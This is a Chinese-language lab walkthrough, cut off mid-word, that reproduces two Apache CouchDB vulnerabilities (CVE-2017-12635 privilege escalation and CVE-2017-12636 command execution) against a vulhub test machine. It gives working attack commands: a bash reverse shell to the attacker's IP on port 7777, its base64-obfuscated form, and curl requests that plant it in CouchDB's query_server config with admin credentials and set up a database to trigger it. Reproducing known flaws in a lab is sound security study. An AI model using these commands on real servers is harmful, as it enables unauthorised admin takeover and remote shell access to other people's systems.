漏洞描述
Apache CouchDB 是一个开源数据库,专注于易用性和成为” 完全拥抱 web 的数据库”。它是一个使用 JSON 作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP 作为 API 的 NoSQL 数据库。应用广泛,如 BBC 用在其动态内容展示平台,Credit Suisse 用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web 和应用程序)。
在 2017 年 11 月 15 日,CVE-2017-12635 和 CVE-2017-12636 披露,CVE-2017-12635 是由于 Erlang 和 JavaScript 对 JSON 解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
影响版本:小于 1.7.0 以及 小于 2.1.1
一、复现过程
环境
一台攻击机(kali-2021)192.168.141.190
受害机(vulhub搭建的)192.168.141.199
复现
首先使用nmap扫描一遍之后发现5984端口开放,然后-sV 可以看到对应的版本
2.1.0版本同理
判断一下是否在漏洞复现的范围内,两个都在所以可以进行复现cve-2017-12635,进行垂直权限绕过
原理上是由于:
Erlang和JavaScript,对JSON解析方式的不同,对于重复的键Erlang会存储两个值,而JavaScript只存储第二个值.
由于这个原因,我们写了两个roles 第二个为空是为了绕过js的判断机制,然后在Erlang中getter函数只返回第一个值也就是"roles": [“_admin”],所以就新建了一个amdin用户
新建用户成功
cve-2017-12636反弹shell
CVE-2017-12636 是一个任意命令执行漏洞,我们可以通过 config api 修改 couchdb 的配置 query_server,这个配置项在设计、执行 view 的时候将被运行。
由于Couchdb 2.x 引入了集群,所以修改配置的 API 需要增加 node name,且Couchdb 2.x 删除了_temp_view,所以2.1.0版本在复现的时候某些步骤不太一样
先复现1.6.0版本的
在写入命令的时候,使用bash反弹shell, 但是如果直接写bash -i >& /dev/tcp/192.168.141.190/7777 0>&1
命令执行会失败,所以需要用
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MS4xOTAvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}'
写入命令,其中的base64加密字符串为前面bash -i命令的加密后的结果
需要用这个方式加密
curl -X PUT 'http://xiaoming:[email protected]:5984/_config/query_servers/cmd' -d "\"bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MS4xOTAvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}'\""
如果之前存在过命令,这里返回结果就是双引号中带之前的命令
之后的新建数据库和新建表是两个版本通用的
curl -X PUT 'http://xiaoming:[email protected]:5984/vultest'
新建一个名为vultest的数据库
curl -X PUT 'http://xiaoming:[email protected]:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
在刚建立的数据库中新建一个表(个人理解)
由于1.6版本还有_temp_view,所以使用_temp_v